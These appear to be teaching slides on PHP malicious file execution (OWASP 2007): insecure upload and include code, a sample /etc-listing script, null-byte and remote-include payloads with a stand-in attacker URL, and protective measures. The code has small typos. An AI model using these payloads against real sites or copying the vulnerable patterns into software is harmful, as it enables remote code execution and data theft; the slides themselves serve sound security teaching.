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Malicious File Execution

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Suppose we have the following Form

- **File Upload form:**

```
 function displayUploadForm(){
     $str = "<FORM␣ENCTYPE='multipart/form−data'␣␣␣\
ACTION='{$_SERVER['PHP_SELF']}'␣METHOD=POST>";
     $str .= "Send␣this␣file:␣<INPUT␣NAME='userfile'\
␣TYPE='file'>";
     $str .= "<INPUT␣TYPE='submit'␣VALUE='Send␣File'>";
     $str .= "</FORM>";
     echo $str;
}
```

- **Form:**
  - Asks the user for a file,
  - Uploads the file to the server.

Get the File in PHP

```
function saveFile(){
    $target_path = "images/";
    $target_path = $target_path . basename( $_FILES['userfile']['name']);
    if(move_uploaded_file($_FILES['userfile']['tmp_name'], $target_path))
        echo "The␣file␣". basename( $_FILES['userfile']['name']).
            "␣has␣been␣uploaded";
    } else{
        echo "There␣was␣an␣error␣uploading␣the␣file,␣please␣try␣again!"
    }
}
```

- **Handles the file**
  - PHP copies the file in a temporary directory (with a temporary name)
  - Transfers the file from its temporary location
  - toward a definitve location in the `images/` directory

Possible Attack

Suppose someone uploads the following file

```
$dir = "/etc/"; // Directory containing all UNIX config files
// Open a known directory, and proceed to read its contents
if (is_dir($dir)) {
 if ($dh = opendir($dir)) {
   while (($file = readdir($dh)) !== false) {
     if(filetype($dir . $file)=='file'){
       echo "<a␣href='$dir$file'>";
       echo "<img␣src='$dir$file'␣width='50',heigh='30'>";
       echo "$file</a><br>\n";
     }
   }
   closedir($dh);
 }
}
```

Possible Attack for this vulnerability

- **Anybody can upload anything**
  - No test of the files uploaded
  - Can be on any type
- **Attack: Code Execution**
  - PHP file can be uploaded
  - Complete control on the `www` user
  - Can access anything the user can
- **Contermeasure:**
  - Test that the uploaded file is an image (`.jpg`, `.jpeg`, `.gif` or `.png`)

Not sufficient

- **Restrincting file types is not sufficient**
  - Uploaded files can be named `emmanuel.jpg`
  - And contain a PHP file.
- **Attacker will want to execute the file**
  - Apache does not interpret `.jpg` files
  - They are served as-is
  - Should not be very harmful
- **How to use the file**
  - Attacker has to hack another file where `include` or `require` is used with userinput.
  - Then refere to the new uploaded file
  - Gain access on the targeted machine!!

Test that the image is an image

- **Javascripts tests on the client**
  - Not to be trusted
  - Can be very easily turned off
- **Test the suffix of the image**
  - Prevents Apache to execute the file
  - Doesn't see what the file contains
  - Just verifies Apache will simply serve it (without evaluation)
- **Tests that the image is an image**
  - Execute a `load_image_from_JPEG()`. or a `convert` on the command line.

Another Attack

We test the suffix of the image

```
function saveFile(){
  $target_path = "images/";
  if(!preg_match('/(\.jpg$|\.jpeg$|\.gif$|\.png$)/i',
                    $_FILES['userfile']['name'])){
    echo "tying␣to␣include␣a␣non␣image␣file<br␣/>";
    exit;
  }
  $target_path = $target_path . basename( $_FILES['userfile']['name']);
  if(move_uploaded_file($_FILES['userfile']['tmp_name'], $target_path)){
    echo "The␣file␣". basename( $_FILES['userfile']['name']);
    echo "␣has␣been␣uploaded";
  } else{
    echo "There␣was␣an␣error␣uploading␣the␣file,␣please␣try␣again!";
  }
}
```

Another file makes an include

Suppose we have a php file that includes a resource given as parameter

```
<?php
echo "<h1>Example␣of␣a␣page␣to␣be␣hacked</h1>";
echo "Security␣here␣is␣not␣very␣serious␣;-)";
echo "<div␣class='content'>";
if(isset($_REQUEST['action'])){
    $filename = $_REQUEST['action'];
    include($filename);
}
else{
    echo "No␣action␣was␣selected";
}
echo "</div>";
?>
```

How this page is called?

- **Normally called with an action**

  <a href="tohack.php?action=hello.php">Hello page</a>

- **Where `hello.php` is**

  ```
  <?php
  echo "HELLO!";
  ?>
  ```

- **Can be hacked: to load `images/attacker.jpg`**

  <a href="tohack.php?action=images%2Fattacker.jpg">
  Hacked page </a>

How this page is called? (Cont.)

- **We can add a security, add the `.php` at the end of the file name**

  $filename = $_REQUEST['action']." .php";
  include($filename);

- `So the action is called:`

  <a href="tohack.php?action=hello">Hello page</a>

- **Following code does not work anymore**

  <a href="tohack.php?action=images%2Fattacker.jpg">
  Hacked page </a>

  Error: *file `attacker.jpg.php` does not exist*

- **The %00 character plays the role of ending the file name. So the following works:**

  <a href="tohack.php?action=images%2Fattacker.jpg%00">
  Hacked page </a>

Malicious File Execution

- **User Uploads a File**
  - For instance : An image on a blog
  - But it is not an image: it is a script (PHP for instance)
  - So the file `http://mysite.com/image/emmanuel.jpg` does not contain any image but a program
- **User Executes this file**
  - Some executions use parameters to load some file
  - Example `http://mysite.com/program.php?action=sell` will load the program `sell.php`
  - so the URL `http://mysite.com/program.php?action=image/emmanuel.jpg` would execute the uploaded file

What is Malicious File Execution?

- **Developers often directly use or concatenate input with file or stream function or allow upload of file**
  - Input is potentially hostile
- **Many frameworks allow the use of external object references**
  - Such as URL's
  - or file system references
- **If the data is not sufficiently checked**
  - Any content can be included, processed or invoked by the web server
  - It can be hostile and powerfull.

Malicious File Executions Allows

- **Remote Code Execution**
- **Remote root kit installation and complete system compromise**
- **On Windows, internal system compromise through the use of PHP's SMB file wrappers**
- **This attack is particularly prevalent on PHP**
  - When refering files or streams,
  - Ensure that user supplied input does not influence file name

Environment affected

- **All systems accepting files or filenames form the users**
  - e.g. `.NET` asemblies which allow URL file name arguments
  - Code which accepts the user's choice of filename to include local files
- **PHP is particularly vulnerable**
  - to Remote File Inculde - RFI
  - through parameter tampering with any file or streams based API

Details of the Vulnerability

- **Typical Example**

  include $_REQUEST['filename']

- **Allows execution of remote hostile scripts**
  - if filename = "http://www.attacker.org/attack.php"
- **Allows access to local file system**
  - `include` is not limited to the document root
  - For instance `include /etc/password`
- **Allows access to local file server (if PHP is hosted on Windows**
  - Due to SMB support in PHP's file system wrappers

Other Methods of attack

- **Hostile data being uploaded**
  - To Session files,
  - log data
  - image upload (typical of forum software)
- **Using non http urls**
  - Compression: `zlib://`
  - Audio Stream : `ogg://`
  - Are allowed even if `allow_url_fopen` and `allow_url_include` are disabled
- **Use PHP's data wrapper**
  - such as `data:;base64,PD9waHAgcGhwaW5mbygpOz8+`

Other Systems may also be affected

- **.NET or J2EE**
  - Danger with filenames supplied by the user
  - or simply influanced by the user
  - Security controls could be obviated.
- **XML Documents**
  - Attacker can insert a hostile DTD,
  - Require the parser to download the DTD and process the result
  - Method used by an Australian Firm to scan ports behind a firewall.

Damages?

- **Damages are related to the strength of sandbox/platform isolation controls in the framework**
- **Tomcat is started inside the Java Virtual Machine**
  - No access to the filesystem (outside the project)
  - No access to other devices
  - Configuration can be haltered to allow execution of scripts !!!
- **PHP has full access on the machine**
  - Can visite the file system
  - Can access some devices
  - Access can be restricted for the user `www` (resp. not opened)

Protection

- **Careful Planning**
  - Desigining architecture
  - Designing the program
  - Testing the program
- **A well written application does not user-supplied input for**
  - Accessing server based resource:
  - Images
  - XML and XSLT
  - Scripts
- **Application should have firewall rules preventing**
  - new outbound connections the the internet
  - or internally back to any other server
- **However, legacy applications may need to accept user supplied input**

Use an indirect object reference map

- **Where a parital filename was used, prefere a hash of the partial reference**
- **Instead of**

```
<select name="language">
  <option value="english">English</option>
```

- **Use**

```
<select name="language">
  <option value="2c8283b7743646a2a72e626437484">
     English
  </option>
```

- **Alternatively, use 1, 2, 3 as array reference**
  - check array bounds to detect parameter tampering

Use explicit taint checking mechanisms

- **If included in language**
  - JSF or Struts
- **Otherwise, consider a variable naming scheme**

```
// Refere to POST variable, not $_REQUEST
$hostile = &$_POST;
// make it safe
$safe['filename'] = validate_file_name($hostile['unsafe_filename']);
```

- **So any operation based upon hostile input is immediately obvious:**

```
// Bad:
require_once($_POST['unsafe_filename'].'inc.php');
// Good:
require_once($safe['filename'].'inc.php');
```

Protection (Cont.)

- **Strongly validate user input**
  - use “accept known good” as a strategy
- **Add firewall rules**
  - Prevents your server to connect other web sites
  - or internal systems
- **Check user supplied files and filenames**
  - and also: tainting data in session object, avatars and images
  - PDF reports, temporary files, etc.
- **Considere implementing a chroot jail**
  - or other sandbox mechanisms to isolate applications from each other
  - Example: Virtualization

Protection for PHP

- **Update your PHP configuration** (`php.ini`)
  - Disable `allow_url_fopen`
  - Disable `allow_url_include`
  - Enable it on a per application basis
- **Avoid uninitialized variables (and their overwriting)**
  - Disable `register_globals`
  - use `E_STRICT`
- **Ensure that all file and streams functions are carefully vetted**
  - No user supplied input should be given to following functions:
  - include functions `include()`, `include_once()`, `require()`, `require_once()`,
  - Reading of data `fopen()`, `imagecreatefromXXX()`, `file()`,`file_get_contents()`,
  - Manipulation of files `copy()`, `delete()`, `unlink()`, `upload_tmp_dir()`, `$_FILES`, `move_uploaded_file()`,

Conclusion

- **Malicious file execution occures when**
  - files can be uploaded
  - Reference for the file (or stream) is based on user input
  - Include can use distant files
- **Malicious file execution is particularly dangerous**
  - When there is no “sandbox”
  - When infected machine can access to resources on the internet (php scripts for instance)
  - Or inside the intranet (SMB for instance)

References

- **OWASP Top 10 - 2007**
  `http://www.owasp.org/index.php/Top_10_2007`
- **A Guide for Building Secure Web Applications and Web Services**
  `http://www.lulu.com/content/1401012`